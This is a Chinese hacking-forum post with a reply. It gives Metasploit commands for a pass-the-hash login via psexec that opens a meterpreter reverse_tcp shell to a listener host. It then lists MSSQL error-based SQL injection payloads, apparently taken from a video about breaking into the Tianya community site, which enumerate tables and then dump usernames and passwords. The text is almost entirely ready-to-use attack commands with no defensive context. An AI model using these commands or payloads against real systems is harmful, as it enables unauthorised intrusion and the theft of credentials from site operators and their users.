Metasploit使用hash直接登录系统

抓到管理员的密码hash根本不用破解,直接就可以登录。use windows/smb/psexec

set SMBUser username

set SMBPass 用户密码的hash值

set payload Windows/meterpreter/reverse_tcp

set rhost 333.333.333.333

set lhost 111.111.111.111

exploit转自:Linux520

求一个Linux520邀请码,想进去瞧瞧hacked 天涯社区现场

**回复 2# hack小恒 **

[linux520高级板块的视频]

下面是视频中用到的语句

'//and//(select//@@version)=1-- 数据库版本
'/
/and//(select//db_name())=1-- 当前数据库
'//and//user>0-- 当前用户名
'//and//(select//top//1//name//from//lp.dbo.sysobjects//where//xtype='U')>0-- 当前库的首个表
'/
/and//(select//top//1//name//from//lp.dbo.sysobjects//where//xtype='U'//and//name//not//in//('question'))>0-- 依次列出
'/
/and//(select//top//1//name//from//lp.dbo.sysobjects//where//xtype='U'//and//name//not//in//('question','info_main'))>0--
'/
/and//(select//top//1//name//from//lp.dbo.sysobjects//where//xtype='U'//and//name//not//in//('question','info_main','playnum'))>0--
'/
/and//(select//top//1//name//from//lp.dbo.sysobjects//where//xtype='U'//and//name//not//in//('question','info_main','playnum','prize'))>0--
'/
/and//(select//top//1//col_name(object_id('systemUsers'),1)//from//sysobjects)>0-- 爆systemUsers表的字段,数字递增
'//and//(select//top//1//username+char(124)+password//from/**/systemUsers)>0-- 账号密码

########################################

在线观看: http://video.linux520.com/gv/tianya/tianya.html